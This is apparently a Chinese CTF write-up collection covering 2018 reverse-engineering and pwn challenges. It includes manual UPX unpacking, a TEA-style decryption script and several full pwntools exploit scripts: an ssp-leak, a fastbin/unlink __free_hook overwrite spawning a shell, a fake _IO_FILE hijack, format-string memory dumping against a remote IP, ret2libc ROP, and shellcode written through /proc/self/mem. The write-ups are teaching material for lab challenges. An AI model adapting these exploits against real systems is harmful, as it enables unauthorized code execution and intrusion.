这个文件 hide 使用了 UPX 3.91 版本进行加壳压缩。

1
2
3
4
5
6
7
8
9
10
PS D:\CTF\2018reverse\hide> upx -d hide
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2025
UPX 5.0.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jul 20th 2025

File size Ratio Format Name
-------------------- ------ ----------- -----------
upx: hide: CantUnpackException: unknown format 0

Unpacked 0 files.

需要手动脱壳,使用file命令查看文件信息,是个Linux文件

1
2
$ file hide
hide: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header

具体做法是让程序先运行,然后等到数据自动解压/解密出来后,再dump内存组成elf文件进行分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
>./hide
> pgrep -fl hide
> pmap -d 21895
> dd if=/proc/$(pidof hide)/mem of=hide_dump1 skip=4194304 bs=1c count=827392

> file hide_dump1
hide_dump1: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, missing section headers at 840568

> dd if=/proc/$(pidof hide)/mem of=hide_dump2 skip=7110656 bs=1 count=20480
> cat hide_dump1 hide_dump2 > hide_dump

> file hide_dump
hide_dump: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped

然后就获得了完整的脱壳后的文件。

静态分析

hide_dump载入ida,按下Shift+F12查看字符串列表并搜索flag:

image-20250911155632129

敏感字符串aYouAreRight,查看交叉引用:

image-20250911155911810

查看sub_4009EF函数:

image-20250911161638344

这肯定不对,看下一个函数:

image-20250911201625976

进入这个地址,发现ida没有将其识别称为一个函数,我们需要手动逆向分析。这通常发生在加壳、混淆或编译器优化过的代码中。

逆向工程中的手动分析操作

反编译之后跟题解不一样

向上查看代码,寻找合适的函数起点

0x4C8EF4 这个位置具有函数开头的典型特征(如ret或jmp后面基本就是一个函数的开头)

使用 Create Function 功能强制 IDA 将该地址识别为函数开头

这是个先验证后加密的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
signed __int64 sub_4C8EF4()
{
char *v0; // rdi
__int64 *v1; // rsi
unsigned __int64 i; // rdx

if ( strlen(qword_6CCDB0) == 21 //验证
&& qword_6CCDB0[1] == 'w'
&& qword_6CCDB0[2] == 'b'
&& qword_6CCDB0[3] == '{'
&& qword_6CCDB0[20] == '}' )
{
sub_4C8CC0((__int64)&qword_6CCDB0[4]);
sub_4C8E50(&qword_6CCDB0[4]);
sub_4C8CC0((__int64)&qword_6CCDB0[4]);
sub_4C8E50(&qword_6CCDB0[4]);
sub_4C8CC0((__int64)&qword_6CCDB0[4]);
v0 = &qword_6CCDB0[4];
sub_4C8E50(&qword_6CCDB0[4]);
v1 = qword_4C8CB0;// 加载预存的标准答案
for ( i = 0LL; i < 0x10 && *v0 == *(_BYTE *)v1; ++i )//逐字节比对
{
++v0;
v1 = (__int64 *)((char *)v1 + 1);
}
}
__asm { syscall; LINUX - sys_write }
return sys_exit(0);
}

flag的格式为qwb{x*16}

进入sub_4C8CC0,很像tea加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
unsigned __int64 __fastcall sub_4C8CC0(__int64 a1)
{
unsigned __int64 result; // rax
unsigned int v2; // [rsp+18h] [rbp-48h]
unsigned int v3; // [rsp+1Ch] [rbp-44h]
unsigned int v4; // [rsp+20h] [rbp-40h]
int i; // [rsp+24h] [rbp-3Ch]
int j; // [rsp+28h] [rbp-38h]
int v7[6]; // [rsp+40h] [rbp-20h] BYREF
unsigned __int64 v8; // [rsp+58h] [rbp-8h]

v8 = __readfsqword(0x28u);
qmemcpy(v7, "s1IpP3rEv3Ryd4Y3", 16);
for ( i = 0; i <= 1; ++i )
{
v4 = 0;
v2 = *(_DWORD *)(8 * i + a1);
v3 = *(_DWORD *)(a1 + 4 + 8 * i);
for ( j = 0; j <= 7; ++j )
{
v2 += (v7[v4 & 3] + v4) ^ (((v3 >> 5) ^ (16 * v3)) + v3);
v4 += 0x676E696C;
v3 += (v7[(v4 >> 11) & 3] + v4) ^ (((v2 >> 5) ^ (16 * v2)) + v2);
}
*(_DWORD *)(a1 + 8 * i) = v2;
*(_DWORD *)(a1 + 4 + 8 * i) = v3;
}
result = __readfsqword(0x28u) ^ v8;
if ( result )
return ((__int64 (*)(void))loc_4C8B9A)();
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
_BYTE *__fastcall sub_4C8E50(__int64 a1)
{
_BYTE *result; // rax
int i; // [rsp+14h] [rbp-4h]

for ( i = 0; i <= 15; ++i )
{
result = (_BYTE *)(i + a1);
*result ^= i;
}
return result;
}

异或

解密exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
keyPool = [1883844979, 1165112144, 2035430262, 861484132]
array_car = [1735289196, 3470578392, 910900292, 2646189488, 86511388, 1821800584, 3557089780, 997411680]
target = [0x7f13b852, 0x1bf28c35, 0xd28663f4, 0x311e4f73]

def de_xor(enc):
for _i in range(4):
current = enc[_i]
a = current & 0xFF
b = (current & 0xFF00) >> 8
c = (current & 0xFF0000) >> 16
d = (current & 0xFF000000) >> 24
a ^= (_i * 4 + 0)
b ^= (_i * 4 + 1)
c ^= (_i * 4 + 2)
d ^= (_i * 4 + 3)
# 修正此处:添加缺失的位或运算符 |
enc[_i] = a | (b << 8) | (c << 16) | (d << 24)
return enc

def encrypt(i32_para1, i32_para2):
foo = i32_para1
bar = i32_para2
car = 0
for _i in range(8):
tmp_a = keyPool[(car & 3)] + car
tmp_b = ((bar >> 5) ^ (bar << 4)) + bar
foo += tmp_a ^ tmp_b
foo &= 0xffffffff
car += 1735289196
car &= 0xffffffff
tmp_a = keyPool[((car >> 11) & 3)] + car
tmp_b = ((foo >> 5) ^ (16 * foo)) + foo
bar += tmp_a ^ tmp_b
bar &= 0xffffffff
return foo, bar

def solver(enc_foo, enc_bar):
foo = enc_foo
bar = enc_bar
car = array_car[7]
for _i in range(8):
tmp_a = keyPool[((car >> 11) & 3)] + car
tmp_b = ((foo >> 5) ^ (16 * foo)) + foo
bar -= tmp_a ^ tmp_b
bar = (bar + 0xffffffff + 1) & 0xffffffff
car -= 1735289196
car = (car + 0xffffffff + 1) & 0xffffffff
tmp_a = keyPool[(car & 3)] + car
tmp_b = ((bar >> 5) ^ (bar << 4)) + bar
foo -= tmp_a ^ tmp_b
foo = (foo + 0xffffffff + 1) & 0xffffffff
return foo, bar

# 执行流程
target = de_xor(target.copy()) # 避免修改原始列表
print("=====")
for t in target:
print(hex(t))

for i in range(2):
target[i * 2], target[i * 2 + 1] = solver(target[i * 2], target[i * 2 + 1])

print("=====")
for t in target:
print(hex(t))

target = de_xor(target.copy())
print("=====")
for t in target:
print(hex(t))

for i in range(2):
target[i * 2], target[i * 2 + 1] = solver(target[i * 2], target[i * 2 + 1])

print("=====")
for t in target:
print(hex(t))

target = de_xor(target.copy())
print("=====")
for t in target:
print(hex(t))

for i in range(2):
target[i * 2], target[i * 2 + 1] = solver(target[i * 2], target[i * 2 + 1])

print("=====")
for t in target:
print(t)

# 最终输出解码字符串
print("=====")
result = b''.join([bytes.fromhex(hex(t)[2:])[::-1] for t in target]).decode('utf-8')
print(result) # 应输出 "f1Nd_TH3HldeC0dE"

baby_re

2018 网鼎杯ctf

Pwn

guess

img
1
2
3
4
5
6
7
8
╭─Tac1t0rnX@MacBookPro ~/Binary/CTF/2018/wdb-2018/Pwn/guess/workspace ‹›
╰─$ checksec guess
[*] '/Users/apple/Binary/CTF/2018/wdb-2018/Pwn/guess/workspace/guess'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE 0x400000

题目中能够3次fork出子进程,父进程wait等待子进程技术,并且一开始就将flag 读到了栈上

1
2
3
4
5
6
7
if(HIDWORD(stat_loc.__iptr) == -1 )
{
perror("./flag.txt");
_exit(-1);
}
read(SHIDWORD(stat_loc.__iptr), &flag, 0x30uLL);
close(SHIDWORD(stat_loc.__iptr));

题目在子进程和父进程共享的代码空间中有一个简单的栈溢出,但是由于开启了Canary所以无法直接溢出Getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
while ( 1 )
{
if ( choices >= v7 )
{
puts("you have no sense... bye :-) ");
return 0LL;
}
pid = sub_400A11();
if ( !pid ) // 子进程逃脱
break;
++choices;
wait((__WAIT_STATUS)&stat_loc);
}
puts("Please type your guessing flag");
gets((__int64)&guessing_flag); // stack oveflow
if ( !strcmp(&flag, &guessing_flag) )

利用Canary ssp-leak 报错输出 我们利用3次fork出子进程的机会,可以打印3个地址,由于flag在stack上,所以我们利用这3次打印机会分别打印:

  1. 0x602020->_IO_2_1_stdout 泄露libc
  2. environ->stack address 泄露栈地址
  3. flag’s address ->打印输出flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#/usr/env/bin python
#-*- coding: utf-8 -*-
from pwn import *
import sys


r = lambda :io.recv()
rn = lambda x:io.recv(x)
ru = lambda x:io.recvuntil(x)
rud = lambda x:io.recvuntil(x,drop=True)
rl = lambda :io.recvline()
se = lambda x:io.send(x)
sel = lambda x:io.sendline(x)
sea = lambda x:io.sendafter(x)
sela = lambda x:io.sendlineafter(x)

def gdb_debug(order):
command = ''
for item in order:
command += str(item)+'\n'
log.info('gdb command:\n'+command)
gdb.attach(io,command)

def exploit(flag):
ru('Please type your guessing flag\n')
sel(p64(0x6020a0)*0x100)
ru('*** stack smashing detected ***: ')
libc.address = u64(rn(6).ljust(0x8,'\x00'))-libc.symbols['_IO_2_1_stdout_']
environ = libc.symbols['environ']
log.success('environ:'+hex(environ))

ru('Please type your guessing flag\n')
sel(p64(environ)*0x100)
ru('*** stack smashing detected ***: ')
stack = u64(rn(6).ljust(0x8,'\x00'))
log.success('stack:'+hex(stack))

ru('Please type your guessing flag\n')
sel(p64(stack-0x168)*0x100)
ru('*** stack smashing detected ***: ')

io.interactive()


if __name__ == '__main__':
context.binary = './guess'
context.terminal = ['tmux','sp','-h','-l','115']
context.log_level = 'debug'
elf = ELF('./guess')
if len(sys.argv)>1:
io = remote(sys.argv[1],sys.argv[2])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
exploit(0)
else:
io = process('./guess')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
exploit(1)

babyheap

题目中有一个非常明显的UAF

1
2
3
4
5
6
7
8
9
10
11
v3 = __readfsqword(0x28u);
printf("Index:");
memset(&s, 0, 0x10uLL);
read(0, &s, 0xFuLL);
v1 = atoi(&s);
if ( v1 <= 9 && ptr[v1] )
{
free(ptr[v1]);
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;

题目的难度在于malloc的大小固定为0x20,0x20的大小很尴尬,几乎什么也干不了……
思路于是比较确定,通过在chunk空间内改造合适的Chunk_Size,通过Fastbin Attack 构造Overlapping Chunk

通过Overlapping Chunk更改Size,进行Unlink,拿到一个指向.bss段的指针后就好办了。
还有一个问题,就是题目中限制了分配的个数和进行Edit操作的个数,所以姿势需要优雅一些。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#/usr/env/bin python
#-*- coding: utf-8 -*-
from pwn import *
import sys

r = lambda :io.recv()
rn = lambda x:io.recv(x)
ru = lambda x:io.recvuntil(x)
rud = lambda x:io.recvuntil(x,drop=True)
rl = lambda :io.recvline()
se = lambda x:io.send(x)
sel = lambda x:io.sendline(x)
sea = lambda x:io.sendafter(x)
sela = lambda x:io.sendlineafter(x)

def gdb_debug(order):
command = ''
for item in order:
command += str(item)+'\n'
log.info('gdb command:\n'+command)
gdb.attach(io,command)

def alloc(index,content):
ru('Choice:')
sel('1')
ru('Index:')
sel(str(index))
ru('Content:')
se(content)

def edit(index,content):
ru('Choice:')
sel('2')
ru('Index:')
sel(str(index))
ru('Content:')
se(content)

def show(index):
ru('Choice:')
sel('3')
ru('Index:')
sel(str(index))

def delete(index):
ru('Choice:')
sel('4')
ru('Index:')
sel(str(index))

def exploit(flag):
# Step1 leaking heap address
alloc(0,'0'*0x20)
alloc(1,'1'*0x20)
alloc(2,'2'*0x20)
alloc(3,p64(0)+p64(0x31)+'\n')
alloc(4,'4'*0x20)
alloc(5,'/bin/sh\x00'+'5'*0x18)
alloc(6,'6'*0x10+p64(0)+p64(0x41))
delete(1)
delete(2)
show(2)
heap = u64(rud('\n').ljust(0x8,'\x00'))-0x30
log.success('heap:'+hex(heap))

# Step2.Fastbin attack for overlapping chunk
edit(2,p64(heap+0xa0)+'\n')
alloc(7,'7'*0x20)
alloc(8,p64(0)+p64(0)+p64(0x80)+p64(0x90))
delete(1)
alloc(9,p64(0)+p64(0x0)+p64(0x6020a8-0x18)+p64(0x6020a8-0x10))

# Step3.Unlink
delete(4)

# Step4.Leaking libc
edit(9,p64(0x6020b0)+p64(0)+p64(elf.got['free'])+p64(0x602090))
show(8)
libc.address = u64(rud('\n').ljust(0x8,'\x00'))-libc.symbols['free']
__free_hook = libc.symbols['__free_hook']
log.success('__free_hook:'+hex(__free_hook))
system = libc.symbols['system']
log.success('system:'+hex(system))

# Step5.__free_hook = system
edit(6,p64(0)+'\n')
edit(9,p64(0x6020b0)+p64(0)+p64(__free_hook)+p64(0x602090))
edit(8,p64(system)+'\n')
delete(5)

io.interactive()

if __name__ == '__main__':
context.binary = './babyheap'
context.terminal = ['tmux','sp','-h','-l','115']
# context.log_level = 'debug'
elf = ELF('./babyheap')
if len(sys.argv)>1:
io = remote(sys.argv[1],sys.argv[2])
libc=ELF('./libc.so.6')
exploit(0)
else:
io = process('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
exploit(1)

blind

blind 如同题目名称 程序中并没有任何输出 所以一开始的思路就是House of Romen
题目在Release中存在一个明显的UAF漏洞,但是问题是不存在任何输出,并且malloc的大小固定为0x68,这个大小还好….
此外题目中为了降低难度还有一个后门函数0x4008E3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 release()
{
unsigned int index; // [rsp+Ch] [rbp-24h]
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index:");
memset(&s, 0, 0x10uLL);
read(0, &s, 0xFuLL);
index = atoi(&s);
if ( index <= 5 && ptr[index] && release_number <= 2 )
{
free(ptr[index]); // uaf
++release_number;
puts("Done!");
}

House of Romen的思路很直接

  1. 在Heap 空间构造一个合适的Size 0x70~0x7f
  2. UAF-Fastbin-Attack 到 [heap]空间中,形成Chunk Overlapping
  3. 篡改下一个Chunk的SizeUnsortedbin大小,并free掉它,使得fd指向unsorted_chunks(av)
  4. 修改大小为0x71,free后,Partial Overwite fd指针指向__malloc_hook-0x23
  5. Fastbin Attack 到__malloc_hook,再次并GetShell

但是仔细看程序,虽然上述思路理论上能够在不泄露的情况下Getshell,但是题目中的奇葩输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall read_content(__int64 a1, unsigned int a2)
{
__int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
result = i;
if ( i >= a2 )
break;
read(0, (void *)(i + a1), 1uLL);
if ( *(_BYTE *)(i + a1) == '\n' || i == a2 - 1 )
{
result = i + a1;
*(_BYTE *)result = 0;
return result;
}
}
return result;
}

首先a2的大小就是指定的0x68,并且i>= a2条件是触发不到的,不知道为什么多这个分支,多此一举,在i == a2 - 1分支,强制在字符串最后加入”\0”,这就造成了Partial Overwrite 的失败

于是题目采用的方式 是通过Fastbin Attack 到.bss段上伪造一个*_IO_FILE*,然后修改stdout为该fake _IO_FILE

在伪造了.bss段上的_IO_FILE的后,调试发现在printf中触发后门,Getshell而puts用的依旧是LIBC上的指针。

这有些运气成分,因为我也不是很清楚究竟在哪里用到了.bss段上的FILE指针,这是个悬而未决的问题,值得探究。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/env/bin python
#-*- coding: utf-8 -*-
from pwn import *
import sys


r = lambda :io.recv()
rn = lambda x:io.recv(x)
ru = lambda x:io.recvuntil(x)
rud = lambda x:io.recvuntil(x,drop=True)
rl = lambda :io.recvline()
se = lambda x:io.send(x)
sel = lambda x:io.sendline(x)
sea = lambda x:io.sendafter(x)
sela = lambda x:io.sendlineafter(x)

def z(order=[]):
command = ''
for item in order:
command += str(item)+'\n'
log.info('gdb command:\n'+command)
gdb.attach(io,command)

def new(index,content):
ru('Choice:')
sel(str(1))
ru('Index:')
sel(str(index))
ru('Content:')
se(content)

def change(index,content):
ru('Choice:')
sel(str(2))
ru('Index:')
sel(str(index))
ru('Content:')
se(content)

def release(index):
ru('Choice:')
sel(str(3))
ru('Index:')
sel(str(index))

def exploit(flag):

#Step1. Fastbin Attack to .bss

new(0,'0'*0x68)
release(0)
change(0,p64(0x60203d)+'\n')
new(1,'1'*0x68)

#Step2. layout fake IO_FILE_plus structure and _IO_jumps filled with backdoor
fake_ptr = '\x00'*0x13+p64(0x6020c0)+p64(0x6020c0+0x68)+p64(0x6020c0+2*0x68)
fake_ptr += p64(0x602020)+p64(0x602060)+p64(0x602098)+'\n'
new(2,fake_ptr)

payload0 = p64(0xfbad2087)
payload0 += 12*p64(0)
change(0,payload0)

payload1 = 2*p64(0)
payload1 += p64(0xffffffffffffffff)
payload1 += p64(0)+p64(0x6020c8)
payload1 += p64(0xffffffffffffffff)+7*p64(0)
change(1,payload1)

payload2 = p64(0)+p64(0x6020c0+2*0x68+0x10)
payload2 += 11*p64(0x4008E3)
change(2,payload2)

#Step3.Hijack stdout
# z(['b *0x400C69','b *0x40092A','b buffered_vfprintf'])
change(3,p64(0x6020c0)+'\n')

#Step4.unexplainable Getshell

io.interactive()


if __name__ == '__main__':
context.binary = './blind'
context.terminal = ['tmux','sp','-h','-l','120']
# context.log_level = 'debug'
elf = ELF('./blind')
if len(sys.argv)>1:
io = remote(sys.argv[1],sys.argv[2])
libc=ELF('./libc.so.6')
exploit(0)
else:
io = process('./blind')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
exploit(1)

Reverse

2018 赛博杯工控CTF

本次比赛只做出来两道Pwn HMI流水灯运行与实时数据监测。剩下两道Pwn在师傅指点下,赛后进行了复现。

前面的两个Pwn是相对比较常规的

实时数据监测

image-20251122113428712

实时数据监测是一道盲Pwn,利用格式化字符串的Blind Pwn。
首先,确定存在format string,随后我直接开始从0x8048000~0x8049000 dump 服务端的程序
由于程序每次需要等待20s左右才能触发一次format string 泄露一次地址,所以dump的格外慢,大约持续了4个小时….

只有将Binary 拖入IDA,然而由于部分dump有误,无法解析成ELF,只能成binary….
将支离破碎的binary汇编源码理顺,得到以下的汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
seg000:080486DD                 push    ebp
seg000:080486DE mov ebp, esp
seg000:080486E0 sub esp, 208h
seg000:080486E6 mov eax, ds:804B0C0h
seg000:080486EB sub esp, 4
seg000:080486EE push eax
seg000:080486EF push 200h
seg000:080486F4 lea eax, [ebp-520]
seg000:080486FA push eax
seg000:080486FB call read
seg000:08048700 add esp, 10h
seg000:08048703 sub esp, 0Ch
seg000:08048706 lea eax, [ebp-520]
seg000:0804870C push eax
seg000:0804870D call printf
seg000:08048712 add esp, 10h
seg000:08048715 mov eax, ds:804B14Ch
seg000:0804871A cmp eax, 2223322h
seg000:0804871F jnz short loc_8048753
seg000:08048721 sub esp, 0Ch
seg000:08048724 push 8048C80h ; _DWORD
seg000:08048729 call puts
seg000:0804872E add esp, 10h
seg000:08048731 sub esp, 0Ch
seg000:08048734 push 8048C99h ; _DWORD
seg000:08048739 call puts
seg000:0804873E add esp, 10h
seg000:08048741 sub esp, 0Ch
seg000:08048744 push 8048CA6h
seg000:08048749 call system
seg000:0804874E add esp, 10h
seg000:08048751 jmp short loc_8048763

可见,判定条件[ds:804B14Ch]==0x2223322时顺利打印flag,最后Script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#/usr/env/bin python
#-*- coding: utf-8 -*-
from pwn import *
import sys


def exploit():
#getbinary()
io.recvuntil('请重新初始化反应。\n')
payload = fmtstr_payload(12,{0x804B14C:0x2223322})
print payload
io.send(payload)
io.interactive()
io.close()

'''
flag{1hasdfw423fgv45432wgasv45443v120bjsdf}
'''

def leak(addr):
# leak addr for three times
num = 0
try:
log.info('leak addr: ' + hex(addr))
payload = '%14$s' +'STA'+p32(addr)
# 说明有\n,出现新的一行
if '\x0a' in payload:
return None
io.recvuntil('请重新初始化反应。\n')
io.sendline(payload)
data = io.recvuntil('STA', drop=True)
log.info('data:'+data)
return data
except Exception:
num += 1
return None

def getbinary():
addr = 0x8048000
f = open('binary', 'w')
while addr < 0x8049000:
data = leak(addr)
if data is None:
f.write('\xff')
addr += 1
elif len(data) == 0:
f.write('\x00')
addr += 1
else:
f.write(data)
addr += len(data)
f.close()

if __name__ == "__main__":
context.terminal = ['tmux','sp','-h']
#context.log_level = 'debug'
io = remote('47.104.70.11',30002)
exploit()

然而,很多很快做出来的队伍都是看图得到的结论:
CH3CONH理想浓度0x2223322,地址0x804ff78,催化失败应该调整为理想浓度,摧化成成果,于是格式化字符串修改之,从而顺利拿到flag….

HMI流水灯运行

32bit程序,开启NX,题目中存在简单的栈溢出

1
2
3
4
5
6
7
ssize_t gee()
{
char buf; // [esp+0h] [ebp-88h]

puts("*...........................................................");
return read(0, &buf, 0x100u);
}

但是在这个过程中通过signal设置了alarm(2)后程序进入死循环

1
2
3
4
5
if ( i == 2 && k == 2 )
{
signal(14, handler);
alarm(2u);
}

可能Rop时间不够,所以Rop时先设置alarm,从而打断之前alarm(2)的设置,再ROP
题目的libc可通过libcdatabase查询到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#/usr/env/bin python
#-*- coding: utf-8 -*-
from pwn import *
import sys


def exploit():
io.recvuntil('Initialization the program\n')
#sleep(73)
io.recvuntil('*...........................................................\n')
io.recvuntil('*...........................................................\n')
io.recvuntil('*...........................................................\n')
io.recvuntil('*...........................................................\n')

payload = 'a'*140
payload += p32(elf.plt['alarm'])+p32(0x08048469)+p32(0x10000)
payload += p32(elf.plt['puts'])+p32(0x080488A8)+p32(elf.got['write'])
#gdb.attach(io,'b *0x80488A8')
io.sendline(payload)
write_addr = u32(io.recv(4))
libc_base = write_addr-libc.symbols['write']
system_addr = libc_base+libc.symbols['system']
log.info('system_addr:'+hex(system_addr))
binsh_addr = libc_base+next(libc.search('/bin/sh'))
log.info('binsh_addr:'+hex(binsh_addr))

io.recvuntil('*...........................................................\n')
payload1 = 'a'*140
payload1 += p32(system_addr)+p32(0x080488A8)+p32(binsh_addr)
io.sendline(payload1)

io.interactive()

if __name__ == "__main__":
context.binary = "./stack"
context.terminal = ['tmux','sp','-h']
context.log_level = 'debug'
elf = ELF('./stack')
if len(sys.argv)>1:
io = remote(sys.argv[1],sys.argv[2])
libc = ELF('./libc.so.6')
exploit()
else:
io = process('./stack')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
exploit()

文件管理器

本以为应该是比较棘手的题目

1
2
3
4
5
6
7
8
9
➜  workspace file fileManager
fileManager: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=93615ea271d45b23c3abf39e55cdeb7c2746c1f0, not stripped
➜ workspace checksec fileManager
[*] '/Users/apple/Binary/CTF/2018/cyber2018/Pwn/file/workspace/fileManager'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

可是题目提供了对任意文件读写的能力,而且没有做沙箱的限制,我们能够通过目录操作读写任意文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unsigned int read_file(){//任意读文件
printf("模块名称:");
read_buff((int)&file, 64, 10);
fd = open(&file, 0);
else{
printf("查找模块偏移量:");
offset = read_ul();
printf("%lld\n", offset, 0);
printf("%llx\n", offset, 0);
for ( nbytes = -1; nbytes < 0 || nbytes > 256; nbytes = read_int() )
printf("模块读取大小:");
lseek(fd, offset, 0);
memset(&s, 0, 0x120u);
printf("模块内容");
read(fd, &s, nbytes);
puts(&s);
close(fd);
}
}
unsigned int write_file(){//任意写文件
printf("模块名称:");
read_buff((int)&file, 64, '\n');
fd = open(&file, 0x41, 0x1B6);
else{
for ( offset = -1; offset < 0; offset = read_int() )
printf("写入模块偏移量:");
lseek(fd, offset, 0);
for ( n = -1; n < 0 || n > 256; n = read_int() )
printf("模块写入大小:");
memset(&s, 0, 0x100u);
printf("写入模块:");
read_buff((int)&s, n, '\n');
write(fd, &s, n);
close(fd);
}
}

tip在于procfs Proc File System
我们可以通过读/proc/self/maps来泄露程序基地址,Bypass PIE
之后通过写/proc/self/mem来注入shellcode,通过程序流程执行shellcode,拿到Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#/usr/env/bin python
#-*- coding: utf-8 -*-
from pwn import *
import sys

def read(Name,Offset,Length):
io.sendlineafter('3. 退出\n',str(1))
io.sendlineafter('模块名称:',Name)
io.sendlineafter('查找模块偏移量:',str(Offset))
io.sendlineafter('模块读取大小:',str(Length))
io.recvuntil('模块内容')

def write(Name,Offset,Length,Content):
io.sendlineafter('3. 退出\n',str(2))
io.sendlineafter('模块名称:',Name)
io.sendlineafter('写入模块偏移量:',str(Offset))
io.sendlineafter('模块写入大小:',str(Length))
io.sendlineafter('写入模块:',Content)

def exploit():
io.sendlineafter('请登录FTP:','xingxing')
read("/proc/self/maps",0,0x100)
proc_base = int(io.recvuntil('-',drop=True),16)
log.info('proc_base:'+hex(proc_base))

address = proc_base+0x1154
shellcode = asm(shellcraft.linux.sh())
#gdb.attach(io)
write('/proc/self/mem',address,0x100,shellcode)

io.interactive()

if __name__ == "__main__":
context.binary = "./fileManager"
context.terminal = ['tmux','sp','-h']
#context.log_level = 'debug'
elf = ELF('./fileManager')
if len(sys.argv)>1:
io = remote(sys.argv[1],sys.argv[2])
libc = ELF('./libc.so.6')
exploit()
else:
io = process('./fileManager')
libc = ELF('./libc.so.6')
exploit()

黑客游戏

题目是一个游戏,描述的Hero与Master战斗的游戏
通过名称容易发现有一个简单的栈溢出漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

int attack()
{
.......
if ( result <= 0 ) // monster血量达到下限,胜利
{
puts("you win");
if ( *(_DWORD *)gMonster == 3 ) //杀死level3的maseter
{
puts("we will remember you forever!");
vul_func();
release_all();
}
......
}

int vul_func()
{
char s; // [esp+0h] [ebp-48h]

printf("what's your name:");
gets(&s);
return printf("ok! %s ,welcome\n", &s);
}

我们的目的在于打败level0-level4的master,从而进入函数中做ROP

打败怪兽无非就是自己攻击力高,或者回复血量快
首先同一个等级下hero的血量上限低于master

1
2
recovery_hp((int)gHero, 50 * (*(_DWORD *)gHero + 1));
recovery_hp(gMonster, 70 * (*(_DWORD *)gMonster + 1));

并且在attack过程中,约定hero与master都有一个attack和defense
如果$hero_attack>master_defense,master-=hero_attack-master_defense$
否则$master_attack>hero_defense,hero-=master_attack-hero_defense$
这个能力还可以通过相应的技能加成

master每死一次,就会升级一次,能力也逐渐增强,而hero可选技能,但是只能选择0-3的技能,不能选择到最Bug的DDOS “have botnet”的,所以最强的也就是Overflow Attack,能力也就能与level2的master刚一刚
即使我们考虑回血,hero与master回血能力相同,所以遇到level3的
所以,这样看下来,hero必败。

注意到hero的信息能够存放在文件中,下次玩的时候可直接登录,并且保存等级状态等,每次登录后都将文件mmap到了内存中:

1
2
3
4
5
6
7
8
9
10
11
void *__cdecl init_db(char *file)
{
int v1; // eax
void *result; // eax

v1 = open(file, 2);
gfd = v1;
result = mmap(0, 0x1000u, 3, 1, v1, 0);
gHero = result;
return result;
}

文件的实时数据mmap映射到了内存这样可能会造成Race-conditon,即文件TOCTTOU
我们可以通过开启两个同一个用户下的游戏,一个打怪兽,另一个不断给自己加血来赢得游戏
